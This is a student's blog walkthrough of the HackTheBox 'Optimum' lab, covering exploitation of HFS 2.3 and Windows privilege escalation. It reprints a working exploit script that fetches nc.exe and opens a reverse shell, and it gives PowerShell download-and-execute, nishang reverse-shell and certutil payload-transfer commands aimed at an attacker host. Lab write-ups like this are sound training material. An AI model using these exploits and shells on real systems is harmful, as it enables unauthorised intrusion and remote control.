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Hackthebox - Optimum

 ·  ☕ 10 min read  ·  👤 Hong
Hackthebox - Optimum

Enumeration

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nmap -p- -vv 10.10.10.8      
                             
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-19 17:03 EST
Initiating Ping Scan at 17:03
Scanning 10.10.10.8 [4 ports]
Completed Ping Scan at 17:03, 2.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:03
Completed Parallel DNS resolution of 1 host. at 17:03, 0.01s elapsed
Initiating SYN Stealth Scan at 17:03
Scanning 10.10.10.8 [65535 ports]
Discovered open port 80/tcp on 10.10.10.8
SYN Stealth Scan Timing: About 19.51% done; ETC: 17:06 (0:02:08 remaining)
SYN Stealth Scan Timing: About 47.42% done; ETC: 17:05 (0:01:08 remaining)
Completed SYN Stealth Scan at 17:05, 105.28s elapsed (65535 total ports)
Nmap scan report for 10.10.10.8
Host is up, received timestamp-reply ttl 127 (0.018s latency).
Scanned at 2022-12-19 17:03:42 EST for 105s
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 107.46 seconds
           Raw packets sent: 131157 (5.771MB) | Rcvd: 82 (3.604KB)

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nmap -sV -sC -vv -p 80 10.10.10.8 -oN optimum_scan.txt 

PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Exploitation

w/Metasploit

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msf6 > search hfs 2.3

1  exploit/windows/http/rejetto_hfs_exec       2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution

msf6 > use exploit/windows/http/rejetto_hfs_exec

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msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 10.10.10.8

msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost 10.10.14.12

msf6 exploit(windows/http/rejetto_hfs_exec) > run


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meterpreter> background

meterpreter> use post/multi/recon/local_exploit_suggester

meterpreter> set session 1

#   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.

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meterpreter> use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

meterpreter> set session 1
meterpreter> set lhost 10.10.14.12
meterpreter> run

w/o Metasploit

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serachsploit hfs

searchsploit -m windows/remote/39161.py
  • Modify the payload and add our IP address and local listening port
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#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#	       It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#	       It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.

#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
#          You may need to run it multiple times for success!


import urllib2
import sys

try:
	def script_create():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "10.10.14.12" #local IP address
	local_port = "1234" # Local Port number
	vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print """[.]Something went wrong..!
	Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
	Don't forgot to change the Local IP address and Port number on the script"""
  • The payload indicates that nc.exe is needed and hosted in our machine
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cp /usr/share/windows-resources/binaries/nc.exe ./

python -m http.server 80

nc -lvnp 1234
  • Might need to launch the attack twice
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python2 39161.py 10.10.10.8 80 # [Target IP] [Target port ]

python2 39161.py 10.10.10.8 80 # [Target IP] [Target port ]

Privilege Escalation

  • Using windows exploit suggester

python2 /opt/Windows-Exploit-Suggester/windows-exploit-suggester.py --database /opt/Windows-Exploit-Suggester/2022-12-18-mssb.xls --systeminfo systeminfo.txt

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[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done

MS16-098

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41020.exe

  • Transfering the file to the windows machine

powershell wget http://10.10.14.12/41020.exe -OutFile 41020.exe

C:\Users\kostas\Desktop>41020.exe

MS16-032

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wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
  • Add at the end of both scripts the following

Invoke-MS16032.ps1

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.12/Invoke-PowerShellTcp.ps1')"

Invoke-PowerShellTcp.ps1

  • Add to the end of the Invoke-PowerShellTcp.ps1 script

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 1234

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nc -lvnp 1234

python -m http.server 80 # To host the files
  • Execute payload

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1')

powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.12/Invoke-MS16032.ps1')

  • No elevation of privilege was successful because we are in a system x64 and netcat is x32 bit
  • Launching the x32 bit version will fix this issue

C:\Windows\sysnative\WindowsPowerShell\v1.0l\powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.10.14.12/Invoke-MS16032.ps1')

Could not have this work. Then tried the following payload

python -m http.server 80

Transfer the payload to the victim’s machine

certutil -urlcache -f http://10.10.14.12/ms16-032.exe ms16-032.exe

C:\Users\kostas\Desktop> ms16-032.exe

Skills Learned

  • Identifying vulnerable services
  • Identifying known exploits
  • Basic Windows privilege escalation techniques
Hong Woo
WRITTEN BY
Hong
📚Cybersecurity Student🚩CTF Player☁️Cloud Computing

See Also

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